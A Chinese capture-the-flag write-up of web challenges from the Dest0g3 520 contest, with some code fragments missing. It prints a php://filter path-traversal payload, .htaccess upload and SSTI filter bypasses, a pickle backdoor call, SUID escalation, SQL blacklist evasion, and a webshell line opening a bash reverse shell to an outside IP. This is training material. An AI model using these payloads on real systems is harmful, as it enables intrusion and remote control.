Dest0g3 520迎新赛
Web部分 WriteUp
phpdest
打开给了源码
|
不难注意到,漏洞点应该是出在require_once
,搜索发现如下文章
https://www.anquanke.com/post/id/213235
payload
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
EasyPHP
同样给了源码
|
简单分析下可以发现,只要触发set_error_handler
就可以获得flag
因为下面有个字符串拼接,传入数组即可报错,触发这个函数
SimpleRCE
还是给源码,可以进行命令执行
|
考虑到过滤了这么多玩意,第一个想到的就是无字母数字绕过正则
参考yu师傅这篇文章https://blog.csdn.net/miuzzx/article/details/109143413?spm=1001.2014.3001.5502
funny_upload
学习到了.htaccess的新用法,以及配合伪协议绕过内容过滤
首先利用base64编码绕过内容过滤
然后.htaccess解析配合伪协议读取
Content-Disposition: form-data; name="file"; filename=".htaccess" |
但是执行命令的时候发现,没有回显,考虑到disable_function
过滤了
利用file_get_contents
猜测flag也在根目录
EasySSTI
登录进去后,username处回显,根据题目,试试ssti
成功,但是简单fuzz了一下,基本上一些常见的关键字都被过滤了,包括. ' " [ _
还有空格
看了wp知道利用set可以得到关键字绕过
poc是一样的,不过burp要发两次包,第一次设置变量,会导致500的报错,第二次就出flag,其中空格用%0a
绕过一下
middle
pickle反序列化,但是限制了只有config类,以及调用的属性方法中不包含__
import os |
但是给了一个backdoor
后门函数,我们用pker构造一下
cfbk = GLOBAL('config', 'backdoor') |
可以执行命令
ezip
图片里藏着源码
upload.php: |
通过出发unzip的报错,可以执行php代码
首先写入一个webshell
system("bash -c 'bash -i >& /dev/tcp/121.xxx.xxx.xxx/2333 0>&1'"); |
然后
上传访问,得到反弹回来的shell
尝试suid提权,可以利用nl命令
Really Easy SQL
钓鱼站,可能就是纯粹用来记录的,insert注入
hint给了黑名单
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load’); |
利用benchmark代替sleep,%0a代替空格
import time |
Easy SQL
和上一题一样的
Dest0g3 520迎新赛